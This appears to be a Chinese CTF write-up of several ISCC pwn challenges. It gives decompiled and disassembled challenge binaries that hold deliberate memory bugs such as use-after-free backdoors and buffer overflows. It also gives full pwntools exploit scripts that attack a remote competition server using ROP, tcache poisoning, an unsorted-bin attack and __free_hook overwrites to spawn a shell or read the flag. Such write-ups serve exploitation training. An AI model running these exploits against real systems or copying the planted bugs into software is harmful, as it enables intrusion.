puts("Can't go forward so much!");
exit(0);
}
size = (int)get_int();
v6 = (char *)malloc(size);
memset(&v6[size - 24], 65, 0x20uLL);
v5 = malloc(0x30uLL); // bsf
puts("Answer time is close to over");
read(0, v5, 0x10uLL);
if ( bsf[15] != 97 )
{
puts("Find out where you wrote the answer");
exit(0);
}
func_111001();
return 0;
}
ssize_t func_111001()
{
char buf[124]; // [rsp+0h] [rbp-80h] BYREF
int v2; // [rsp+7Ch] [rbp-4h]
puts("Think about whether this is very basic");
memset(buf, 0, 0x70uLL);
qmemcpy(&buf[0x6E], "ba", 2);
puts("Direct to destination");
v2 = read(0, buf, 0x100uLL);
memcpy(bsf, buf, 0x100uLL);
write(1, "you pass", 8uLL);
return write(1, bsf, v2);
}
from pwn import *
#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')
elf = ELF('./p7')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, 'b*0x400925\nc')
pop_rdi = 0x0000000000400bd3 # pop rdi ; ret
p.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")
p.sendline(str(0xffffff51).encode()) #top_chunk
#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))
p.sendline(b'cat flag*')
p.interactive()
#ISCC{U2FsdGVkX19Io8JTHM+Mj6kUIhroT9rT+ulCmVCGfKASDrdaVF3VTZCyaAAigumO4fSbo0Jhv+Ike83kf1PGmw==}
这题一开始给了这个巨长加密的flag,一直没人猜对,rabbit加密不给密钥的话真没着。后来赛放换了flag,但一直没找着这里跟第三有啥关系。
这是个盲pwn题,没有提示还报错,通过提示得到第一个提示在第一用笔目录下,得到部分汇编代码.里边有句话可能 是第二个:函数名,不过这后门比比赛关得还早,也没法试了.函数名没几个.
得到的部分
After the previous study, have you found the treasure in the book?
If you tell me Treasure 1, I will give you some clues. If you tell me Treasure 2, I will give you a chance of ultimate challenge.
So what do you want to say to me now:
[Enter no more than 12 characters]
anyagougedi
*********************************
char *stroke[4],length[4],thickness[4];
int cnt_1 = 0,cnt_2 = 0,cnt_3 = 0;
int how_to_do()
0x0000000000400886 <+0>: push rbp
0x0000000000400887 <+1>: mov rbp,rsp
0x000000000040088a <+4>: sub rsp,0x20
0x000000000040088e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400897 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040089b <+21>: xor eax,eax
0x000000000040089d <+23>: lea rax,[rbp-0x20]
0x00000000004008a1 <+27>: mov edx,0xf
0x00000000004008a6 <+32>: mov rsi,rax
0x00000000004008a9 <+35>: mov edi,0x0
0x00000000004008ae <+40>: call 0x400710
0x00000000004008b3 <+45>: lea rax,[rbp-0x20]
0x00000000004008b7 <+49>: mov rdi,rax
0x00000000004008ba <+52>: call 0x400760
0x00000000004008bf <+57>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004008c3 <+61>: xor rcx,QWORD PTR fs:0x28
0x00000000004008cc <+70>: je 0x4008d3
0x00000000004008ce <+72>: call 0x4006e0 <__stack_chk_fail@plt>
0x00000000004008d3 <+77>: leave
0x00000000004008d4 <+78>: ret
ssize_t get_content(void *a1, unsigned int a2)
0x00000000004008d5 <+0>: push rbp
0x00000000004008d6 <+1>: mov rbp,rsp
0x00000000004008d9 <+4>: sub rsp,0x20
0x00000000004008dd <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00000000004008e1 <+12>: mov DWORD PTR [rbp-0x1c],esi
0x00000000004008e4 <+15>: mov edx,DWORD PTR [rbp-0x1c]
0x00000000004008e7 <+18>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004008eb <+22>: mov rsi,rax
0x00000000004008ee <+25>: mov edi,0x0
0x00000000004008f3 <+30>: call 0x400710
0x00000000004008f8 <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004008fc <+39>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400900 <+43>: test eax,eax
0x0000000000400902 <+45>: jg 0x400918
0x0000000000400904 <+47>: mov edi,0x4011d8
0x0000000000400909 <+52>: call 0x4006d0
0x000000000040090e <+57>: mov edi,0x1
0x0000000000400913 <+62>: call 0x400770
0x0000000000400918 <+67>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040091c <+71>: leave
0x000000000040091d <+72>: ret
void get_addr()
You can find the address you are interested in from this. If it is not necessary, we will not provide it. The content of the request should be a function name string, which should not exceed 15 characters!
int Shaping()
0x0000000000400a6e <+0>: push rbp
0x0000000000400a6f <+1>: mov rbp,rsp
0x0000000000400a72 <+4>: sub rsp,0x10
0x0000000000400a76 <+8>: mov eax,0x0
0x0000000000400a7b <+13>: call 0x400886
0x0000000000400a80 <+18>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400a83 <+21>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400a86 <+24>: cdqe
0x0000000000400a88 <+26>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400a90 <+34>: test rax,rax
0x0000000000400a93 <+37>: jne 0x400aa1
0x0000000000400a95 <+39>: mov edi,0x401324
0x0000000000400a9a <+44>: call 0x4006d0
0x0000000000400a9f <+49>: jmp 0x400ae4
0x0000000000400aa1 <+51>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400aa4 <+54>: cdqe
0x0000000000400aa6 <+56>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400aae <+64>: mov rsi,rax
0x0000000000400ab1 <+67>: mov edi,0x401339
0x0000000000400ab6 <+72>: mov eax,0x0
0x0000000000400abb <+77>: call 0x4006f0
0x0000000000400ac0 <+82>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400ac3 <+85>: cdqe
0x0000000000400ac5 <+87>: mov rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400acd <+95>: mov rsi,rax
0x0000000000400ad0 <+98>: mov edi,0x40134e
0x0000000000400ad5 <+103>: mov eax,0x0
0x0000000000400ada <+108>: call 0x4006f0
0x0000000000400adf <+113>: mov eax,0x0
0x0000000000400ae4 <+118>: leave
0x0000000000400ae5 <+119>: ret
int repair()
0x0000000000400ae6 <+0>: push rbp
0x0000000000400ae7 <+1>: mov rbp,rsp
0x0000000000400aea <+4>: push rbx
0x0000000000400aeb <+5>: sub rsp,0x18
0x0000000000400aef <+9>: mov eax,0x0
0x0000000000400af4 <+14>: call 0x400886
0x0000000000400af9 <+19>: mov DWORD PTR [rbp-0x14],eax
0x0000000000400afc <+22>: mov eax,DWORD PTR [rip+0x2025ae] # 0x6030b0
0x0000000000400b02 <+28>: cmp eax,0x2
0x0000000000400b05 <+31>: jle 0x400b16
0x0000000000400b07 <+33>: mov edi,0x401364
0x0000000000400b0c <+38>: call 0x4006d0
0x0000000000400b11 <+43>: jmp 0x400bcd
0x0000000000400b16 <+48>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b19 <+51>: cdqe
0x0000000000400b1b <+53>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400b23 <+61>: test rax,rax
0x0000000000400b26 <+64>: jne 0x400b37
0x0000000000400b28 <+66>: mov edi,0x401379
0x0000000000400b2d <+71>: call 0x4006d0
0x0000000000400b32 <+76>: jmp 0x400bcd
0x0000000000400b37 <+81>: mov edi,0x401390
0x0000000000400b3c <+86>: mov eax,0x0
0x0000000000400b41 <+91>: call 0x4006f0
0x0000000000400b46 <+96>: mov eax,0x0
0x0000000000400b4b <+101>: call 0x400886
0x0000000000400b50 <+106>: mov DWORD PTR [rbp-0x18],eax
0x0000000000400b53 <+109>: cmp DWORD PTR [rbp-0x18],0x1000
0x0000000000400b5a <+116>: jbe 0x400b63
0x0000000000400b5c <+118>: mov DWORD PTR [rbp-0x18],0x1000
0x0000000000400b63 <+125>: mov edi,0x4013af
0x0000000000400b68 <+130>: mov eax,0x0
0x0000000000400b6d <+135>: call 0x4006f0
0x0000000000400b72 <+140>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b75 <+143>: cdqe
0x0000000000400b77 <+145>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400b7f <+153>: mov edx,DWORD PTR [rbp-0x18]
0x0000000000400b82 <+156>: mov esi,edx
0x0000000000400b84 <+158>: mov rdi,rax
0x0000000000400b87 <+161>: call 0x4008d5
0x0000000000400b8c <+166>: mov edi,0x4013be
0x0000000000400b91 <+171>: mov eax,0x0
0x0000000000400b96 <+176>: call 0x4006f0
0x0000000000400b9b <+181>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400b9e <+184>: cdqe
0x0000000000400ba0 <+186>: mov rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400ba8 <+194>: mov eax,0x0
0x0000000000400bad <+199>: call 0x400886
0x0000000000400bb2 <+204>: mov BYTE PTR [rbx],al
0x0000000000400bb4 <+206>: mov eax,DWORD PTR [rip+0x2024f6] # 0x6030b0
0x0000000000400bba <+212>: add eax,0x1
0x0000000000400bbd <+215>: mov DWORD PTR [rip+0x2024ed],eax # 0x6030b0
0x0000000000400bc3 <+221>: mov edi,0x4013ce
0x0000000000400bc8 <+226>: call 0x4006d0
0x0000000000400bcd <+231>: add rsp,0x18
0x0000000000400bd1 <+235>: pop rbx
0x0000000000400bd2 <+236>: pop rbp
0x0000000000400bd3 <+237>: ret
int structure()
0x0000000000400bd4 <+0>: push rbp
0x0000000000400bd5 <+1>: mov rbp,rsp
0x0000000000400bd8 <+4>: push rbx
0x0000000000400bd9 <+5>: sub rsp,0x18
0x0000000000400bdd <+9>: mov eax,DWORD PTR [rip+0x2024c9] # 0x6030ac
0x0000000000400be3 <+15>: mov esi,eax
0x0000000000400be5 <+17>: mov edi,0x4013f0
0x0000000000400bea <+22>: mov eax,0x0
0x0000000000400bef <+27>: call 0x4006f0 #printf("%d", cnt_1)
0x0000000000400bf4 <+32>: mov eax,DWORD PTR [rip+0x2024b2] # 0x6030ac
0x0000000000400bfa <+38>: cmp eax,0x3
0x0000000000400bfd <+41>: jle 0x400c13 #if(cnt_1>3)exit();
0x0000000000400bff <+43>: mov edi,0x401410
0x0000000000400c04 <+48>: call 0x4006d0
0x0000000000400c09 <+53>: mov edi,0x1
0x0000000000400c0e <+58>: call 0x400770
0x0000000000400c13 <+63>: mov ebx,DWORD PTR [rip+0x202493] # 0x6030ac
0x0000000000400c19 <+69>: mov edi,0x10
0x0000000000400c1e <+74>: call 0x400740
0x0000000000400c23 <+79>: mov rdx,rax
0x0000000000400c26 <+82>: movsxd rax,ebx
0x0000000000400c29 <+85>: mov QWORD PTR [rax*8+0x603100],rdx #m_ptr[cnt_1] = malloc(0x10)
0x0000000000400c31 <+93>: mov eax,DWORD PTR [rip+0x202475] # 0x6030ac
0x0000000000400c37 <+99>: cdqe
0x0000000000400c39 <+101>: mov rax,QWORD PTR [rax*8+0x603100]
0x0000000000400c41 <+109>: mov QWORD PTR [rbp-0x18],rax
0x0000000000400c45 <+113>: mov edi,0x401448
0x0000000000400c4a <+118>: mov eax,0x0
0x0000000000400c4f <+123>: call 0x4006f0 #printf("%p", m_ptr[cnt_1])
0x0000000000400c54 <+128>: mov eax,0x0
0x0000000000400c59 <+133>: call 0x400886 #size = read_n()
0x0000000000400c5e <+138>: mov DWORD PTR [rbp-0x1c],eax
0x0000000000400c61 <+141>: cmp DWORD PTR [rbp-0x1c],0x1000
0x0000000000400c68 <+148>: jbe 0x400c71
0x0000000000400c6a <+150>: mov DWORD PTR [rbp-0x1c],0x1000 #size = (size<0x1000)?0x1000:size
0x0000000000400c71 <+157>: mov ebx,DWORD PTR [rip+0x202435] # 0x6030ac
0x0000000000400c77 <+163>: mov eax,DWORD PTR [rbp-0x1c]
0x0000000000400c7a <+166>: mov rdi,rax
0x0000000000400c7d <+169>: call 0x400740
0x0000000000400c82 <+174>: mov rdx,rax
0x0000000000400c85 <+177>: movsxd rax,ebx
0x0000000000400c88 <+180>: mov QWORD PTR [rax*8+0x6030c0],rdx #ptr[cnt_1] = malloc(size)
0x0000000000400c90 <+188>: mov eax,DWORD PTR [rip+0x202416] # 0x6030ac
0x0000000000400c96 <+194>: cdqe
0x0000000000400c98 <+196>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400ca0 <+204>: test rax,rax
0x0000000000400ca3 <+207>: jne 0x400cb9 #if(ptr[cnt_1]==0)exit();
0x0000000000400ca5 <+209>: mov edi,0x401468
0x0000000000400caa <+214>: call 0x4006d0
0x0000000000400caf <+219>: mov edi,0x1
0x0000000000400cb4 <+224>: call 0x400770
0x0000000000400cb9 <+229>: mov edi,0x40147f
0x0000000000400cbe <+234>: mov eax,0x0
0x0000000000400cc3 <+239>: call 0x4006f0 #printf("%p", ptr[cnt_1])
0x0000000000400cc8 <+244>: mov eax,DWORD PTR [rip+0x2023de] # 0x6030ac
0x0000000000400cce <+250>: cdqe
0x0000000000400cd0 <+252>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400cd8 <+260>: mov edx,DWORD PTR [rbp-0x1c]
0x0000000000400cdb <+263>: mov esi,edx
0x0000000000400cdd <+265>: mov rdi,rax
0x0000000000400ce0 <+268>: call 0x4008d5 #get_content(ptr[cnt_1], size)
0x0000000000400ce5 <+273>: mov ebx,DWORD PTR [rip+0x2023c1] # 0x6030ac
0x0000000000400ceb <+279>: mov esi,0x8
0x0000000000400cf0 <+284>: mov edi,0x1
0x0000000000400cf5 <+289>: call 0x400730
0x0000000000400cfa <+294>: mov rdx,rax
0x0000000000400cfd <+297>: movsxd rax,ebx
0x0000000000400d00 <+300>: mov QWORD PTR [rax*8+0x6030e0],rdx #c_ptr[cnt_1] = calloc(1,8)
0x0000000000400d08 <+308>: mov edi,0x4014a0
0x0000000000400d0d <+313>: mov eax,0x0
0x0000000000400d12 <+318>: call 0x4006f0
0x0000000000400d17 <+323>: mov eax,DWORD PTR [rip+0x20238f] # 0x6030ac
0x0000000000400d1d <+329>: cdqe
0x0000000000400d1f <+331>: mov rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d27 <+339>: mov eax,0x0
0x0000000000400d2c <+344>: call 0x400886
0x0000000000400d31 <+349>: mov BYTE PTR [rbx],al
0x0000000000400d33 <+351>: mov eax,DWORD PTR [rip+0x202373] # 0x6030ac
0x0000000000400d39 <+357>: cdqe
0x0000000000400d3b <+359>: mov rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d43 <+367>: mov rdx,rax
0x0000000000400d46 <+370>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400d4a <+374>: mov QWORD PTR [rax],rdx
0x0000000000400d4d <+377>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400d51 <+381>: lea rdx,[rax+0x8]
0x0000000000400d55 <+385>: mov eax,DWORD PTR [rip+0x202351] # 0x6030ac
0x0000000000400d5b <+391>: cdqe
0x0000000000400d5d <+393>: mov rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400d65 <+401>: mov QWORD PTR [rdx],rax
0x0000000000400d68 <+404>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000400d70 <+412>: mov eax,DWORD PTR [rip+0x202336] # 0x6030ac
0x0000000000400d76 <+418>: add eax,0x1
0x0000000000400d79 <+421>: mov DWORD PTR [rip+0x20232d],eax # 0x6030ac
0x0000000000400d7f <+427>: mov edi,0x4014bf
0x0000000000400d84 <+432>: call 0x4006d0
0x0000000000400d89 <+437>: add rsp,0x18
0x0000000000400d8d <+441>: pop rbx
0x0000000000400d8e <+442>: pop rbp
0x0000000000400d8f <+443>: ret
void main(int a1, char **a2, char **a3)
0x0000000000401099 <+0>: push rbp
0x000000000040109a <+1>: mov rbp,rsp
0x000000000040109d <+4>: sub rsp,0x30
0x00000000004010a1 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004010a4 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004010a8 <+15>: mov QWORD PTR [rbp-0x28],rdx
0x00000000004010ac <+19>: mov eax,0x0
0x00000000004010b1 <+24>: call 0x400d90
0x00000000004010b6 <+29>: mov eax,0x0
0x00000000004010bb <+34>: call 0x400ef7
0x00000000004010c0 <+39>: jmp 0x40111e
0x00000000004010c2 <+41>: cmp DWORD PTR [rbp-0x4],0x1
0x00000000004010c6 <+45>: jne 0x4010d4
0x00000000004010c8 <+47>: mov eax,0x0
0x00000000004010cd <+52>: call 0x400bd4
0x00000000004010d2 <+57>: jmp 0x40111e
0x00000000004010d4 <+59>: cmp DWORD PTR [rbp-0x4],0x2
0x00000000004010d8 <+63>: jne 0x4010e6
0x00000000004010da <+65>: mov eax,0x0
0x00000000004010df <+70>: call 0x400a6e
0x00000000004010e4 <+75>: jmp 0x40111e
0x00000000004010e6 <+77>: cmp DWORD PTR [rbp-0x4],0x3
0x00000000004010ea <+81>: jne 0x4010f8
0x00000000004010ec <+83>: mov eax,0x0
0x00000000004010f1 <+88>: call 0x400ae6
0x00000000004010f6 <+93>: jmp 0x40111e
0x00000000004010f8 <+95>: cmp DWORD PTR [rbp-0x4],0xf
0x00000000004010fc <+99>: jne 0x40110a
0x00000000004010fe <+101>: mov eax,0x0
0x0000000000401103 <+106>: call 0x40091e
0x0000000000401108 <+111>: jmp 0x40111e
0x000000000040110a <+113>: mov edi,0x402575
0x000000000040110f <+118>: call 0x4006d0
0x0000000000401114 <+123>: mov edi,0x402588
0x0000000000401119 <+128>: call 0x4006d0
0x000000000040111e <+133>: mov eax,0x0
0x0000000000401123 <+138>: call 0x400dff
0x0000000000401128 <+143>: mov DWORD PTR [rbp-0x4],eax
0x000000000040112b <+146>: cmp DWORD PTR [rbp-0x4],0x4
0x000000000040112f <+150>: jne 0x4010c2
0x0000000000401131 <+152>: mov edi,0x4025a9
0x0000000000401136 <+157>: call 0x4006d0
0x000000000040113b <+162>: mov edi,0x0
0x0000000000401140 <+167>: call 0x400770
PS: from largebin to the libc we have walked 3953032
We hope you can finally see the file directory structure successfully
Now that you have found Treasure 1, Treasure 2 will not defeat you!
Please tell me again
Treasure 2 is wrong! Keep looking for the treasure
libc-2.31 ORW题也是板子题
有个UAF后门2023,
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
__int64 result; // rax
init_0();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
a1 = "plz input choice: ";
printf("plz input choice: ");
result = read_n();
if ( (_DWORD)result != 2023 )
break;
if ( !dword_4010 ) // 2023
exit(0);
m2023_free_UAF();
--dword_4010;
}
if ( (unsigned int)result > 0x7E7 )
break;
if ( (_DWORD)result == 3 )
{
m3free();
}
else
{
if ( (unsigned int)result > 3 )
return result;
if ( (_DWORD)result == 1 )
{
m1add(); // 固定0x40
}
else
{
if ( (_DWORD)result != 2 )
return result;
m2show();
}
}
}
return result;
}
利用这个UAF造重叠块,最后一点点把payload写到free_hook,有块大小限制很麻烦.
from pwn import *
context(arch='amd64', log_level='error')
#p = process('./pwn')
p = remote('59.110.164.72', 10030)
libc = ELF('./libc.so.6')
menu = b"plz input choice: "
def add(msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"plz input content: ", msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free2(idx): # UAF
p.sendlineafter(menu, b'2023')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
for i in range(0x10):
add(b'A')
for i in [6,7,8,9,10,11,12,13,14,15]:
free(i)
free(5)
free2(0)
show(0)
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x190
print(f"{heap = :x}")
free(4)
free(0)
for i in [6,7,8,9,10,11,12]:
add(b'B')
add(p64(heap+0x50)+ p64(0)*6 + p64(0x51))
add(b'C')
add(b'C')
add(flat(0x101, 0x461))
free(1)
add(b'AAA')
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free_hook = libc.sym['__free_hook']
_environ = libc.sym['_environ']
setcontext = libc.sym['setcontext']
syscall = next(libc.search(asm("syscall; ret")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx; pop r12; ret")))
pop_rax = next(libc.search(asm("pop rax; ret")))
jmp_rsp = next(libc.search(asm("jmp rsp")))
#gadget
gadget_addr= libc.address + 0x0000000000151990
'''
.text:0000000000151990 48 8B 57 08 mov rdx, [rdi+8]
.text:0000000000151994 48 89 04 24 mov [rsp+0C8h+var_C8], rax
.text:0000000000151998 FF 52 20 call qword ptr [rdx+20h]
'''
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc.sym['read'],
pop_rdi,fake_frame_addr + 0x200,libc.sym['puts']
]
frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'/flag'.ljust(8, b'\x00'),0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))
#save payload to __free_hook
offset = 0
offset += 0x40
free(7)
free(1)
free(13)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(12)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(11)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(10)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(9)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(8)
free(7)
free(1)
add(flat(0,0x51, free_hook , heap-0xa50))
add(b'A')
add(payload[0: 0x40])
free(8)
context.log_level = 'debug'
p.recvline()
p.recvline()
p.recvline()
p.interactive()
#gdb.attach(p)
#pause()
给了gift异或得到加载地址,然后show指针前溢出得到stdout的地址
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index:");
__isoc99_scanf("%d", &v1);
if ( v1 > 5 || !Nodes[v1] )
{
puts("Incorrect subscript :(");
_exit(0);
}
write(1, (const void *)Nodes[v1], (int)Nodes_len[v1]);
return __readfsqword(0x28u) ^ v2;
}
然后就写free_hook
from pwn import *
#p = process('./uheap')
p = remote('59.110.164.72',10029)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')
elf = ELF('./uheap')
menu = b"choice:"
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendlineafter(b"len:", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index:", str(idx).encode())
p.send(msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendafter(b"Input your favorite sentence:", b'A'*0x30)
p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())
p.recvuntil(b"gift: ")
gift1 = int(p.recvline(),16)
p.recvuntil(b"gift: ")
gift2 = int(p.recvline(),16)
elf.address = (gift1^gift2) - 0x202090
print(f"{gift2 = :x},{elf.address = :x}")
#gdb.attach(p,'b*0x0000555555400e37\nc')
add(2, 0x80)
show(-11)
libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")
free(2)
edit(2, p64(libc.sym['__free_hook']))
add(1, 0x80)
#chk
edit(-11, flat(elf.address+0x202090))
edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))
#gdb.attach(p)
#pause()
add(3, 0x80)
edit(1, b'/bin/sh\x00')
edit(3, p64(libc.sym['system']))
free(1)
p.interactive()
有UAF没有show有后门,后门只检查头为7f
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-120h] BYREF
int idx_1; // [rsp+100h] [rbp-20h]
int idx_0; // [rsp+104h] [rbp-1Ch]
void *ptr; // [rsp+108h] [rbp-18h]
int size; // [rsp+114h] [rbp-Ch]
int idx; // [rsp+118h] [rbp-8h]
int choice; // [rsp+11Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
choice = menu();
if ( choice == 5 )
break;
switch ( choice )
{
case 1:
idx = get_idx();
size = get_size();
ptr = malloc(size);
if ( !ptr )
die("malloc error");
ptrs[idx] = ptr;
break;
case 2:
idx_0 = get_idx();
free(ptrs[idx_0]);
break;
case 3:
puts("unimplemented yet");
break;
case 4:
puts("unimplemented yet");
idx_1 = get_idx();
printf("input content plz : ");
if ( read(0, ptrs[idx_1], 0x10uLL) < 0 )
die("read error");
break;
default:
puts("wrong choice");
break;
}
}
if ( magics[255] > 0x7F0000000000LL )
{
puts("input your key");
read(0, buf, 0x100uLL);
check_key(buf);
}
return 0;
}
unsortbin attack是个很古老的东西了,也很少用,在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./heap')
p = remote('59.110.164.72', 10022)
menu = b' : '
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg)
add(0,0x88)
add(1,0x88)
free(0)
edit(0, flat(0, 0x6021c0+255*8 - 0x10))
add(2, 0x88)
p.sendlineafter(menu, b'5')
#gdb.attach(p, 'b*0x4009da\nc')
p.sendafter(b'key', p64(0x4009aa)*8)
p.interactive()
好多巨古老的东西,刚练习的时候用的libc-2.23,2.27,还有不少32位的情况,早都忘了。居然还有个libc-2.27-i386 从没见过。那时候还有32位的系统吗?